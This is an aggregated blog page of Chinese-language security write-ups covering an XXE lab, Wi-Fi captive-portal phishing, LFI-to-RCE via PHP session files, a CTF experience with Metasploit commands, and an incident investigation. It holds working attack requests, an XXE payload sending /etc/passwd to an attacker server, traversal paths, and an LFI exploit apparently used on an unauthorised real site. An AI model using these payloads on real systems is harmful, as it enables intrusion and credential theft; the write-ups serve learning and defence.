hitcon-kb
hitcon-kb
HITCON Knowledge Base
45 posts
All You Need is Knowledge
Don't wanna be here? Send us removal request.
hitcon-kb · 6 years ago
Text
XML External Entity (XXE) 漏洞實作練習
作者: MksYi
來源: https://mks.tw/2918/
自從開始打站(HITCON ZeroDay)之後,就不斷的嘗試各種攻擊手法來練習,一路走來從 SQLi、XSS、AFD、CSRF,現在輪到 XXE,但實在沒辦法,對於 XXE 完全沒有實戰經驗,雖然之前在 All-CTF 中有一題,但也沒去研究,甚至不知道該如何解題,現在機會來了,就好好來研究一番吧。  
前言  
第一次接觸資安是在 AIS3-2015-Pre-exam,完全沒基礎的狀況下走到了現在,其中當然也沒有刻意去專研什麼,多以透過打 CTF 的方式來增進實力,近期則改為專注學習的方法,針對特定攻擊手法、漏洞進行研究,同時也參考別人打站的 Poc 來加以學習,唯獨在 XXE 上,似乎沒有太多的實例可以參考,為了學習實戰的必要能力,還是透過靶機練習來進行學習,並將其記錄過程。
基礎知識  
最麻煩的來了,不論什麼技術一定都要來個基礎知識,不然就算全部照著操作,跑出相對應的結果,也還是無法了解原理。  
XML  
可延伸標記式語言(Extensible Markup Language),又稱 XML,與 HTML 雷同,但 XML 是為了傳遞資料而設計,可以把他當作是一種 Json File,只是遵行不同的規則與語法。  
DTD  
文件類型定義(Document Type Definition),又稱 DTD,顧名思義就是用來定義類型的檔案,還細分成「內部文件聲明」、「外部文件聲明」,可以參考 w3school 的介紹。  
XXE Injection  
XXE 分成,「XML Entity Expansion Injection 實體擴展注入」與「External Entity Injection 外部實體注入」兩種,其做法都是運用傳遞惡意的 XML 來控制被害者設備讀取特定的檔案,並且將內容當作回應參數回傳。  
必要工具  
VirtualBox Burp Suite XXEserve PentesterLab
環境建置  
環境分成兩個部分,靶機(Target)、攻擊機(Attacker),然後關於 Burp Suite 工具的使用,這邊不會多做介紹,若不知道該如何使用,可以參考其他人分享的教學文。  
Attacker  
這部分筆者使用的是 Windows Subsystem for Linux(WSL)。  
佈署 XXEserve,建構一個外部的 XXE 服務,來存放 DTD。  
首先安裝 git。
將 xxeserve 用 git clone 下來。
安裝 Ruby。
透過 gem 安裝 bundle
執行 bundle install 指令
啟動服務 sudo ruby xxeserve.rb 8080
Target  
首先到 PentesterLab 下載 ISO,並用 VirtualBox 開機,接著設定網路環境,筆者是設定「僅限本機」,如下。  
接著開機,透過指令 ifconfig 查看本機 IP。  
實作攻擊  
首先先確認 Target 的 IP Address,接著在本機應該可以用 Browser 直接讀到頁面。  
該頁面左上有角有個 Login,點擊切換至登入頁面。  
此時記得打開 Burp Suite,並且在 Browser 上設定好 Proxy,隨後啟動 Intercept,並嘗試登入,應該會出現以下的畫面。  
訊息如下,這邊比較需要注意的有 Accept、Content-Type、Content-Length 三點,以及最下面的遞送參數 username=&password=。  
POST /login HTTP/1.1 Host: 192.168.56.101 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.56.101/login Content-Type: application/x-www-form-urlencoded Content-Length: 19 Connection: close Cookie: PLAY_FLASH= Upgrade-Insecure-Requests: 1 username=&password=
構成 XXE 最重要的原因在於 Accept 選項包含了 xml 格式,代表可以透過修改 Content-Type 為 text/xml 來表示遞送的格式為 xml,隨後計算字串的字數,並回填至 Content-Length 中,如下。  
POST /login HTTP/1.1 Host: 192.168.56.101 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.56.101/login Content-Type: text/xml Content-Length: 156 Connection: close Cookie: PLAY_FLASH= Upgrade-Insecure-Requests: 1 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.56.1:8000/xml?f=/etc/passwd"> %remote; %int; %trick;]>
點擊 Forward 後,可在 HTTP history 籤頁中找到剛剛送出的 Requests,會發現他是個 400 Bad Request。  
HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2019 01:40:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1909 Connection: close
接著在看 Attacker 的 XEEServe,發現已經把靶機上的 /etc/passwd 資料傳送到 Attacker 上了。  
  Reference:
https://www.freebuf.com/vuls/194112.html
https://www.freebuf.com/articles/web/195899.html
https://shinpachi8.github.io/2017/01/18/xxe漏洞及xxe练习/
https://www.digicentre.com.tw/industry_detail.php?id=38
http://www.w3school.com.cn/dtd/dtd_intro.asp
0 notes
hitcon-kb · 7 years ago
Text
看我如何得到iTaiwan帳號密碼
作者: DuckLL 來源: http://www.duckll.tw/2018/02/itaiwan.html
先說結論就是"不要使用公共Wifi" 以下實驗均為學術研究用途 如自行使用 後過自負
緣起
手機連上Wifi會測試網路的可用性 而不同OS有不同的測試路徑 Android: http://connectivitycheck.android.com/generate_204 Apple: http://captive.apple.com/hotspot-detect.html Windows: http://www.msftconnecttest.com/connecttest.txt 根據這些測試連線的response status 手機就可以知道Captive Portal的存在 並且重新導向到登入的頁面 這東西太有意思了! 我開始研究了"Captive Portal 釣魚"(以下簡稱CP釣魚)
正文
CP釣魚有許多的優點 1. 信任的Wifi名稱,裝置會自動連線 2. 自動跳出登入視窗,降低使用者的懷疑 3. 獲取登入帳號密碼,手機也是很重要的個資,許多人帳號密碼在不同網站是重複的 4. 不用提供網路服務,劣質、低成本 要實作CP釣魚有幾個重點 1. 一個同名的Wifi熱點 2. 自動跳出登入畫面 3. 一個與原登入頁面相似的釣魚頁面 4. 將輸入的資料傳入到我的資料庫 而我使用的硬體設備有 1. RPi2 2. TL-WN722N(v2)
1. 一個同名的Wifi熱點
這個太簡單了 應該大家都做得到 打開手機熱點編輯一下熱點名稱就好了 我在RPi2使用hostapd這個套件來管理我的Wifi名稱 當然這個Wifi的SSID就是"iTaiwan"
2. 自動跳出登入畫面
在了解每個OS的Captive Portal機制 且大部分的裝置預設會採用分享器提供的DNS設定 我決定採用dnsmasq來做DNS hijacking 將所有的DNS請求都解析到我的裝置上
並且將每一個OS的測試連線對應到一個跳轉頁面 將這些請求都導向到我的釣魚登入頁面
3. 一個與原登入頁面相似的釣魚頁面
我使用HTTracker來將iTaiwan的登入頁面砍回來
再將登入的表單修改成傳入我的處理頁面
4. 將輸入的資料傳入到我的資料庫
最後我的處理頁面會將使用者的輸入儲存到資料庫中
5. 讓他看起來更像
利用剛剛的DNS hijacking 我讓他的網址與原本的iTaiwan一模一樣
並且每次都只會導引到失敗頁面 因為跳轉的太快 在fail.php sleep(3) 最後就變成了這樣
受害者以為登入失敗 還會嘗試其他組密碼呢XD
進階利用
以上的釣魚都是利用人心的弱點 接下來利用裝置才是重點! 在更改iTaiwan頁面的時候我注意到了一個功能 沒錯就是"記住我" 關鍵的程式碼如下
function cookie_check(login_form, key) { var frm=login_form; var remember=login_form.remember; var autologin=login_form.autologin; var autologin_set = getCookie("Autologin"); var type; if( (type = getCookie("TYPE"))!== null) { if( type == "TPE") { login_form.type[1].checked = true; } else if( type == "NTPC") { login_form.type[0].checked = true; return; } else if( type == "TANet") { login_form.type[2].checked = true; } else if( type == "iTainan") { login_form.type[3].checked = true; } else { login_form.type[0].checked = true; } } if(getCookie("ID")!== null) { login_form.clt_user.value=Aes.Ctr.decrypt(getCookie("ID"),key,256); if(autologin_set == '1') { autologin.checked=true; } else { remember.checked=true; } } if(getCookie("Serial")!== null) { login_form.clt_pass.value=Aes.Ctr.decrypt(getCookie("Serial"),key,256); } if(getCookie("Autologin") == '1') { if(login_form.onsubmit()) { login_form.submit(); } } }
"記住我"使用了cookie來加密儲存使用者的帳號密碼 在我仔細研究後發現key的產生方式與裝置的MAC address有關 攻擊者可以利用真實網站送出不同的MAC address得到不同的key
一個Wifi熱點能輕鬆得到裝置的MAC address 而DNS hijacking後的網址的吻合性 也能輕鬆拿到瀏覽器內同網域下的Cookie 有了Cookie,有了MAC address,不用使用者互動拿到帳號密碼 簡單來說 只要手機曾經使用過"記住我" 連上釣魚Wifi跳出登入視窗 帳號密碼就送出了 而且不少裝置在關閉螢幕下也能跳出登入視窗 使用者根本無法察覺 因為這一切都是預設動作 DEMO影片(以下實驗均為學術研究用途)
youtube
後記
最後我把這個漏洞回報給HITCON ZeroDay https://zeroday.hitcon.org/vulnerability/ZD-2017-00906 2017/10/19 提交漏洞 2017/10/21 審核通過 2017/12/07 修復完畢 2018/02/01 公開漏洞 修復的方式就是在cookie加上secure flag 讓沒有憑證的釣魚頁面無法存取cookie 但這樣的攻擊只是冰山一角 防禦CP釣魚最好的方法就是"不要使用公共Wifi"
0 notes
hitcon-kb · 8 years ago
Text
透過 LFI 引入 PHP session 檔案觸發 RCE
作者: Cyku
來源: https://cyku.tw
先前因為朋友分享而得知某個小網站具有 LFI 漏洞,因筆者我還是個菜逼巴,恰好有實戰機會可以練習,就想嘗試著觸發 RCE,但發現目標主機上檔案權限設定蠻嚴格的,幸好最終還是成功透過 session 檔案觸發,過程中也學到不少有趣的小細節,特地寫下這篇文章作記錄。
該網站發生 LFI 的點原始路徑是長類似這個樣子:
/file.php?file=index.html
透過以下幾個測試確認存在 LFI 漏洞:
/file.php?file=./index.html
但因為測試發現 include 語句中路徑可能串接了額外的前綴,無法嘗試 PHP Wrapper、RFI,猜測原始碼可能會類似:
include(INCLUDE_DIRECTORY . $_GET['file']);
也沒發現能直接上傳檔案的入口,因此把策略轉為嘗試引入含有環境變數、Access Log 或其他可能含有使用者可控的資料的檔案。
首先嘗試環境變數的檔案:
/file.php?file=../../../../../proc/self/environ
可惜結果是失敗,可能是不夠權限進行讀取,再將目標轉移到網頁的 Access Log、Error Log,首先嘗試取得 Web Server config,順利發現在預設路徑的 Apache httpd.conf。
/file.php?file=../../../../../etc/httpd/conf/httpd.conf
Tumblr media
並且依據設定檔內容確定 Log 檔案在 /etc/httpd/logs/access_log,但經測試無論是 access_log 還是 error_log 都無法被順利引入,應該也是讀取權限不足所導致。
到這邊因為經驗不足,已經沒有其他利用想法,只好開始上網爬大量資料,發現有文章表示除了以上幾種常見檔案,還可以嘗試 session 檔案,同時也注意到該網站確實有啟用 session 功能,心想在某些情況下,或許能控制到 session 檔案的內容。二話不說直接引入 session 檔案。(爬文得知預設檔案路徑通常是 /tmp/sess_{SESSION_ID} )
/file.php?file=../../../../../tmp/sess_{SESSION_ID}
Tumblr media
沒想到一次就中大獎,更讓人高興的是注意到出現的內容含有「file」關鍵字。
這表示 GET 參數的內容被儲存至 session 中,既然如此,那就可以直接在 GET 參數上注入可執行的 payload,但因為包含進來的 session 內容會是上一次請求時的內容,必須先對網站請求一次使 payload 儲存至 session 中,才能引入 payload 讓其執行。
初步測試直接執行:
/file.php ?file=../../../../../tmp/sess_{ID} &a= &b=ls -la
但結果卻是失敗的,理由是測試後發現引號「 ' 」、「 " 」都被網站取代成「 \' 」、「 \" 」。
(以下因為對 PHP 語言不夠熟悉,導致繞了個彎,事後朋友有提醒我 PHP 使用 $_GET[b] 也是可以被接受的Q__Q)
Tumblr media
此處就必須用到 PHP Array 的一個有趣特性,依據官方的說法:
包含有合法整數型值的字符串會被轉換為整數型。例如鍵名 "8" 實際會被儲存為 8。但是 "08" 則不會強制轉換,因為其不是一個合法的十進制數值。
這意味著當請求的 GET 參數長這個樣子:
file.php?1=Hello,world!
Tumblr media
我們就可以透過 $_GET['1'] 或 $_GET[1] 取得 'Hello,world!' 的字串。
即便引號被跳脫,我們仍然能順利獲取 GET 參數的內容,所以只要將原本的 payload 替換成以 $_GET[1] 獲取指令即可。
/file.php ?file=../../../../../tmp/sess_{SESSION_ID} &a= &1=ls -la
於是乎 ~~ bang ~~
一個新鮮的 Web Shell 就取得了!
Tumblr media
總結一下此次經驗
當遇到 LFI 漏洞時,可以先檢查一下幾種可能的檔案:
/etc/passwd
/proc/self/environ
All possible config files ( e.g. Apache /etc/httpd/conf/httpd.conf )
Web server access, error log ( e.g. /etc/httpd/logs/access_log )
Session files ( e.g. /tmp/sess_{SESSION_ID} )
PHP 使用 $_GET[1]、$_POST[1] 可以避開引號跳脫的問題(前面提到事後得知$_GET[b]即可正常執行)。
0 notes
hitcon-kb · 8 years ago
Text
國網中心 CDX 經驗分享
HITCON KB 現金獎勵計畫
Jun. 19, 2017 by DuckLL
國網中心舉辦了第一屆CDX CDX(Cyber Defense Exercise)也就是網路資訊攻防競賽 雖然比賽很靠近期末大爆炸 但還是邀了實驗室的同學一起參加
這是我第一次參加King of the Hill類型的CTF 算是一個很特別經驗 因此把過程寫成這篇 分享給對CTF有興趣的朋友
King of the Hill 介紹
CTF(Capture the Flag)分成三種類型
Jeopardy 是大家最熟悉的解題拿Flag 拿到Flag送出就可以得到分數
Attack and Defense 每個隊伍都有屬於自己的服務主機 因此除了要攻擊對方的主機之外 還需要修補自己的程式漏洞防止被攻擊 如果成功攻擊 攻擊者會加分 被攻擊者會扣分
King of the Hill 主辦方提供多台主機 參賽隊伍同時去攻擊這些主機 攻進主機後在首頁放上隊伍的Flag就會開始計分 計分的方式為每分鐘計分一次 如果隊伍有佔領主機就會加分 因此佔領越多主機 佔領時間越久 累積的分數也就越高
這次的比賽題目幾乎都是已經公開的漏洞 因使對於程式能力需求也比較低 不太需要逆向工程或是原始碼審查 而需要大量的工具去嗅探主機潛藏的漏洞
如果說找0day是用邏輯挖掘 那麼找已知漏洞就是用資訊挖掘了! 因此如何利用���具挖掘漏洞就是一個重點 不只要挖得到 還要挖得快
工具介紹
以下會介紹我們隊伍有使用到的工具
Kali Linux
這是一個Linux的OS 專門用來做滲透測試 裡面內建了許多工具 (下面沒有特別提到的工具就是內建)
offensive-security有提供VM版本可以快速架設起來 在設定VM時網路建議選擇Bridge 這樣可以直接與比賽的內網相連 這樣在建立反彈shell的時候會簡單很多
但也因此建議把預設密碼及以及防火牆打開 雖然比賽有VLAN切開各隊伍的網路 也有規定不能對對手攻擊 但防人之心不可無 主機如果反過來攻擊我們可就糟了
Zenmap
Zenmap是nmap的GUI版
GUI版不用記指令 快速上手 主要的功能為掃描電腦端口 可以快速地知道目標主機可能存在哪些服務
OpenVAS
最新版本的VM沒有內建 安裝需要非常久的時間 在安裝過程會產生admin密碼 記得要複製起來 方便之後更改
這是一套非常強大的弱點掃描工具 也是我們隊伍得分最大關鍵 他可以透過行為來分析目標主機 可以獲得相關資訊或是可能存在的漏洞
Metasploit
這是一個漏洞利用framework工具 當我們知道目標可能存在漏洞 我們可以利用對應的模組 透過Metasploit去進行驗證或是攻擊
Sparta
是一個滲透工具組合包 但我們主要是拿來進行暴力破解
比賽過程&題目
這次的比賽有100台機器 20種類型 每個類型5台 (這在比賽中才慢慢發現)
比賽一開始我們就用zenmap 對所有目標IP進行"快速"掃描 掃描到的資訊
開啟OpenVAS一樣進行全盤掃描 但OpenVAS需要花的時間非常多 第一天比賽結束前都還沒掃完
我們的策略是在攻進主機後 利用iptable把所有的port關掉 只留下80port來計分
上面的作法可能只適用於這次的比賽 很多的大型比賽會檢查服務的可用性 所以攻進去之後 需要去修補漏洞並且更新程式 如果服務沒有正常運作 分數也就不會計算 但這次比賽沒有這樣的規則 因此關掉服務不是一個好方法 但卻很有用XD
有解出來的題目
Kali
這一題完全就是意外 在開賽不到10分鐘就讓我們隊伍破蛋
我發現一台主機只開了22port 對於ssh沒有太大的印象有新漏洞 因此直接嘗試了手動猜密碼 (這是壞習慣 應該要開工具破的XD) 結果一下就猜到了root:toor 發現是一台kali主機沒有更改預設密碼
第一時間進去先改密碼 望向記分板才想到要寫辨識碼到網頁才會計分 kali主機內建apache 因此只要執行
service apache2 start echo '$our_flag' > /var/www/html/index.html
就這樣拿到了一台主機
另外兩台是透過OpenVAS找到的 掃描結果如下
RDP
RDP(Remote Desktop Protocol) 通常用來遠端桌面操控Windows系統
這一題首頁上就給了
rdp:user/123456
登入後一樣先改密碼 但發現使用者的權限不足 沒辦法修改網頁的內容 可以得知這是一個Windows提權題目
系統是Win7 SP1 我們嘗試了幾個不同的payload 最後我們使用CVE-2016-0051成功提權 之後只要進去xampp的目錄下更改index.html成我們的flag就可以了
VNC
VNC(Virtual Network Computing) 通常用來遠端桌面操控Linux系統
這一題是OpenVAS掃到的 掃描結果如下
可以看到一樣是弱密碼的問題 我們登進去發現其實有其他隊伍已經進來過了 但他們沒有做正確的防守動作 (vnc的認證如果不是經由ssh 更改使用者密碼是沒用的)
因此我們換掉首頁後用iptable把服務關掉 用同樣的方式刷了四台主機 但沒想到過了一會兒只剩下三台 最後心得那邊會提到這個失誤的狀況
PHPMoAdmin
PHPMoAdmin是一個由PHP構成用來管理MongoDB的工具
一樣是由OpenVAS掃到的 掃描結果如下
可以看到這是CVE-2015-2208任意代碼執行的漏洞
Metasploit有exploit可以直接用 這裡示範一下大概要怎麼使用Metasploit
msf > search phpmoadmin Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/multi/http/phpmoadmin_exec 2015-03-03 excellent PHPMoAdmin 1.1.2 Remote Code Execution msf > use exploit/multi/http/phpmoadmin_exec msf exploit(phpmoadmin_exec) > show options Module options (exploit/multi/http/phpmoadmin_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The URI path of the PHPMoAdmin page VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 PHPMoAdmin msf exploit(phpmoadmin_exec) > set RHOST 172.16.42.110 RHOST => 172.16.42.110 msf exploit(phpmoadmin_exec) > exploit
拿到了shell原本以為結束了 但沒想到才剛開始真正的難題 進去之後發現權限不足 才知道這一題還需要提權
提權首先要先了解系統版本 我印象中是Ubuntu14.04 內核版本4.4.0-53 用searchsploit查找相關的提權方式
root@kali:~# searchsploit linux 4.4 ubuntu -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------- Exploit Title | Path | (/usr/share/exploitdb/platforms/) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------- Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | linux/dos/41457.c Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation | lin_x86-64/local/40049.c Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit) | linux/local/40759.rb Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | lin_x86-64/local/40871.c Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation | linux/local/41458.c -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
沒想到全部都沒有用... 最後嘗試之前通殺Linux的Dirty COW(CVE-2016-5195) 第一台主機成功佔據5秒 主機就crash了...... 我們用了四個不同的exploit嘗試了另外4台 每個的最終結果都是crash.....
原本要衝一波高分的 沒想到獵物全部都變成了垃圾主機(別人也攻不破) 回來研究才發現要選擇寫入/etc/passwd 在getroot的方式是最穩定的 例如這個exploit 但沒有嘗試過也不曉得會不會成功 這個題型沒拿下來真的是我們隊伍的一大損失
沒解出來的題目
很多主機其實有看到漏洞 但因為其他隊伍已經攻佔了 很多都是推測跟想法 還有跟其他隊伍賽後的討論
XVWA
XVWA(Xtreme Vulnerable Web Application) 是一個用來練習Web Hacking的框架 可以在Github找到源碼
我們用了"OS Command Injection"打了進去 但權限不足 嘗試提權看看 版本是Ubuntu 16.04 內核4.4.0-75都是最新的...
賽後討論沒有一支隊伍可以提權成功 可能有其他的洞 或是有其他提權方式 ~~但大家都覺得這是在釣0day~~
HFS
HFS(HTTP File Server) 用HTTP來管理遠端檔案系統
CVE-2014-6287 Metasploit:exploit/windows/http/rejetto_hfs_exec
SMB-MS17
SMB(Server Message Block) 主要功能是使網路上的機器能夠共享資源
跟WannaCry一樣的洞 CVE-2017-0144 Metasploit:exploit/windows/smb/ms17_010_eternalblue
Shellshock
Bash上的知名漏洞
CVE-2014-6271 Metasploit:exploit/linux/http/advantech_switch_bash_env_exec
Vul Mail
PHPMailer-RCE
首頁上有一個Mail Form 討論得知要用CVE-2016-10033解出來
Struts2
Struts2是用於開發J2EE的WebApp框架
沒有聽到是用哪個洞 但推測是CVE-2017-5638 Metasploit:exploit/multi/http/struts2_content_type_ognl
b374k
b374k是一個PHP構成的後門程式
一樣是暴力破解密碼 但首頁是看不出問題的 主要需要具備的能力有 1. 網頁目錄掃描 1. http的暴力破解
IRC
IRC(Internet Relay Chat) 是一種透過網路的即時聊天方式
CVE-2010-2075 Metasploit:exploit/unix/irc/unreal_ircd_3281_backdoor
留言板
首頁是一個留言板 沒有XSS漏洞 分析是一個Honeypot 很多服務都有開但都是假的 據說刷得夠快就會計分 最後沒有隊伍拿下
tryit
首頁上只有"tryit" 一樣是Honeypot 很多服務都有開但都是假的 一樣最後沒有隊伍拿下
Bobby Blog
首頁上面寫了Windows 3.1 聽到最酷的解法是暴力解出FTP Administrator密碼 正常解法應該用user帳號暴力就可以登入 總而言之都是弱密碼XD
心得
分析方面
賽後發現用zenmap掃描所有目標是不太好的 掃描全部的port浪費太多的時間 應該針對有特定弱點的port先找出來分析 ex:21(ftp),445(smb),8080(hfs)...等等
防守方面
其中一台原本在我們手上的機器 我們在打進去後換了首頁就用iptable鎖死了 沒想到其實這台主機已經被別人藏了web後門 這台主機就這樣被別人搶了回去...QQ 因此以後記得要檢查web後門 然後也要自己藏web後門再利用iptable鎖上
技巧方面
雖然���記分板可以看到哪些隊伍佔據了哪些主機 但記分板上沒有ip位置 因此我們浪費很多時間在詢問主機的存活 如果設計一個monitor來監看這些主機的狀態 一定能大大的幫助我們找尋下一個攻擊目標
另外這次還有非常多時間浪費在打指令上 如果能加強shellscript相關技能 這次的比賽一定能更輕鬆
總結
這次的題目有相當多的弱密碼 相信這是想告訴我們弱密碼其實比我們想的還嚴重 除此之外很多已知漏洞都還存在現實中 漏洞不會自己消失 因此系統更新很重要
感謝國網中心 花了很多心思去設計題目 還有超棒的計分板介面
感謝我的隊友 在期末大爆炸還要被我抓來討��戰術 在比賽中也不斷的幫助我
最後附上比賽最終盤面 We are PentaKill
0 notes
hitcon-kb · 8 years ago
Text
第一次當起小偵探調查資安事件
HITCON KB 現金獎勵計畫 作者:Honc
註:由於調查事情已經離現在時間過了很久,所以有些網站概觀圖示我無法呈現給各位看,所以運用還有留著的調查檔案和紀錄就自己寫成一篇簡單關於小弟菜鳥我第一次實戰資安調查事件和駭客泡茶XD
本文摘要:這篇傾向個人自己調查過程,內文中有錯誤地方,還請各位大神指點!
有天我在學校中午時候,這時候都是休息時間可以做任何事情(不包括非法事情xD) 由於太無聊就拿起手機,開機之後訊息彈跳顯示遠處不同地方的朋友來信,就打開來看,他向我說明了公司網站遭駭客入侵了!他就擷取了一張首頁遭掛黑頁的照片。
Tumblr media
後我詢問他企業內部負責資安部份的人有幫忙嗎?接著他就回覆我說我們公司太窮,老闆為了省錢方面就在安全方面沒有投入,當初他們就請了一間認識外部廠商幫忙設計網站架構,之後最後網站測試沒太多的問題,就付錢了事!這時候公司形象網站就在此誕生了~
他繼續向我苦談,遭駭客入侵不是今天才發生的,而是他們在半年內都遭遇過4次同樣被置換首頁,又說了有請初期設計這個網頁廠商幫忙看下是怎麼回事,但是廠商不領情回覆說"網站沒有漏洞問題,所以我們盡可能幫你恢迅速復首頁以免影響運作” 所以都以忽略心態帶過。
但是再請外包商承接這個設計案子前必須合約都要有明確地資安維護服務這塊標準,不然事情發生後說再多都是空談
所以朋友跑來向我求助,但是小弟本人我還在求學當中的學生,並沒有在資安事情實作上所以對於這種經驗是完全零基礎,所以我告訴遙遠的縣市朋友告訴他們可以請資安公司廠商幫忙協助調查以及後續修復問題,他說:我們公司在這方面沒有認識的!
痾..我愣的一下,之後他瘋狂回我向我求救,但是對於我這種菜鳥,完全沒有碰過真正戰場上對抗攻擊者QAQ.... 所以我把我自己的本身現況問題告訴了他,但是他說道:"老闆說沒有任何關係!"
Tumblr media
(圖:取自網路圖庫)
這時候我又愣了一下... (幾隻鴨子飛過去了....)
我朋友就說" 就幫忙看下!拜託了" ,就好吧..!
(小探員087 ) 進行
Tumblr media
(圖:取自網上媒體報導)
我課後放學回家鼓起���氣,立馬打開電腦,就打開他說的網頁,已經恢復了原本樣貌。
Tumblr media
(由於保護當事人,所以塗掉有關該公司字樣XD)
之後朋友在線,我向他詢問了關於公司內部所有的主機連線帳號密碼和該網站FTP 登入權限管理帳戶!
Tumblr media
(圖二:非常抱歉xD 可能造成你的眼睛受到痛苦,同樣為了保護當事人權益,所以我塗掉了有關該公司字樣)
幾小時過後,他傳給我了(圖二)
摁,我確實收到了(這不是廢話嗎xD)我就先對網站進行一次黑盒滲透測試。
不到10分鐘,網頁存在兩種常見漏洞(SQL Injection 、XSS)↓
Tumblr media Tumblr media
但是有了SQL 資料庫注入漏洞,並不代表網站可能就存在很嚴重影響,因為涉及方面要看你資料庫是否有存取關於後台管理帳號以及網站權限夠不夠可以上傳Shell、提權、敏感資料,所以都還是算是中危的。
但是!有了漏洞不管是輕微還是高危都要盡快修補!因為不知道在未來某個地方或者哪個點有了其他漏洞可以組合造成嚴重漏洞,所以企業、政府,任何網站管理員對待安全漏洞都必須謹慎看待。
在上面我對資料庫已經爆庫列舉了出來,接下來我要先嘗試這些當中資料庫是否有敏感資訊洩漏了。
Tumblr media
直接丟到tools dump ,之後再資料庫有個表member 再詳細檢查了下,確實是一組帳號和密碼!!
Tumblr media
看了admin 、最高管理員字樣應該是後台或者哪裡發布頁的管理員沒錯了!
對於密碼沒有使用加密後的hash 值而且還是明文形式暴露...真是可怕...
之後就是要找後台登入,一般都會使用常見字典檔下去run 看有沒有解析到對應頁面
但是我選擇使用Google hack 方法來搜尋網站的後台,看能不能搜尋到還要靠運氣了。
Tumblr media
很明顯有個管理版面登入連結,所以我點進去了(省略掉此後台概觀,因為當時在調查忘記了沒有儲存起來,只截一些暴露的東西給朋友公司看,也沒想到未來我會拿它來寫文章XDD 所以非常對不起QAQ..),拿上面所爆出來的User 、Password 來登入,就非常幸運地進入到了後台!
跳過這一切的揣摩,我到了後台看到有上傳圖片這個地方,並沒有限制任何檔案上傳..所以我upload php shell 可以控制看到這個網站所有目錄
Tumblr media
接下來就是要看log ,因為被駭要預先關閉受影響的主機後關閉對外連線、在清查log 日誌
Tumblr media
(圖三)
看了下Log 操作日誌,看了下驚呆了..(圖三有一組IP 地址在嘗試進行拆字段動作)
這個IP 怎樣看都不像是台灣ip網段,丟去search
Tumblr media
來自法國.. 我不能判定他是不是國外人在對網站進行攻擊或者有心人士利用VPN 跳板或Tor 進行隱藏都有可能,由於他踹的是紅色塗掉.php 這檔案,我就先找到這php 看看
Tumblr media
非常有嚴重的撰寫錯誤導致SQL Injection,直接把獲取的參數($_GET[“id”]  ) 帶入到查詢,且沒有對($id ) 進行檢查。
修補可以使用Prepared statement 方式,由於修補後我就不在敘述了,這篇主要在於偏向個人調查xD (有機會在各位分享修補SQL 詳細解說XD)
當然我沒有什麼過調查經驗,所以我還是傻傻地人工檢查每個檔案Code QAQ
Tumblr media
我的老天鵝阿...
竟然這兩個檔案還有很多存在幾乎相似的寫法,都存在SQL Injection …
當然我就對這網站不放心,就每個檔案check review
Tumblr media
發現以上檔案都存在同樣有SQL 隱患的寫法....而且幾乎都是複製過去只是有些檔案 include 不同文件而已..沒什麼區別
就經過了2個小時修復... 29個php file 都存在SQL 漏洞..
之後就是測試了,就沒有SQL 了
當然我另外說XSS 個人修復,在於php 我是使用htmlentities 在每個輸入和輸出點過濾字串
最後經過了2天,我到朋友公司工作室泡茶,問他最相關有沒有在遭受攻擊。
此時我們在聊天,旁邊他的同事又傳來被入侵,坑爹的我.. 上前查看
Tumblr media
額..漏洞該修的都修好了,後台我也進行了相關權限控管和資料庫,但為什麼還是被置換首頁!!
就真的很不甘心,我就用了朋友公司電腦看了下↓
Tumblr media
還是一樣看了log,TMD .. 那天只顧滲透網站漏洞還有忙修補沒有想到要在詳細檢查下駭客留下的web shell xDDDD
之後找到攻擊者留下的網頁木馬刪除之後再進行全盤檢查,發現沒有繼續可疑的shell
就這樣安詳地過了5個月,公司就沒有再被入侵了xDD 對我個人來說是非常一件值得有成就感!,雖然知道駭客是使用存在SQL Injection 進入之後上木馬,但是主要也是我非常幸運的自己熟悉這些手法和駭客剛好也是用這技術去踹xDD 所以剛好可以略勝一籌。
最後朋友公司Boss 經過了5個月沒被駭客入侵,還是聽內部的勸聽重新請了廠商而且來負責網站設計部份和安全!
Tumblr media
當然現在社會越進步,科技也卓越成長,所以我自己寫的這篇並不能抵擋所有駭客攻擊或者修復了這些OWASP 常見top 就能隱憂無患,因為駭客手法不斷在改變創新,所以網站工程師必須有安全意識和對現代的手法有相當認知,接收新漏洞資訊才能對症下藥。
盼國內能越多政府、企業能對資安重視,就像『資安即是國安』
0 notes
hitcon-kb · 8 years ago
Text
los.eagle-jump/SQL injection網站練習介紹
作者: 張書睿(Susie) 來源: http://tw-sas.com
網站位址:http://los.eagle-jump.org 這是一個非常流行、適合初學到進階者練習SQL injection的網站 一開始使用的時候,會進入到網站的這個頁面
Tumblr media
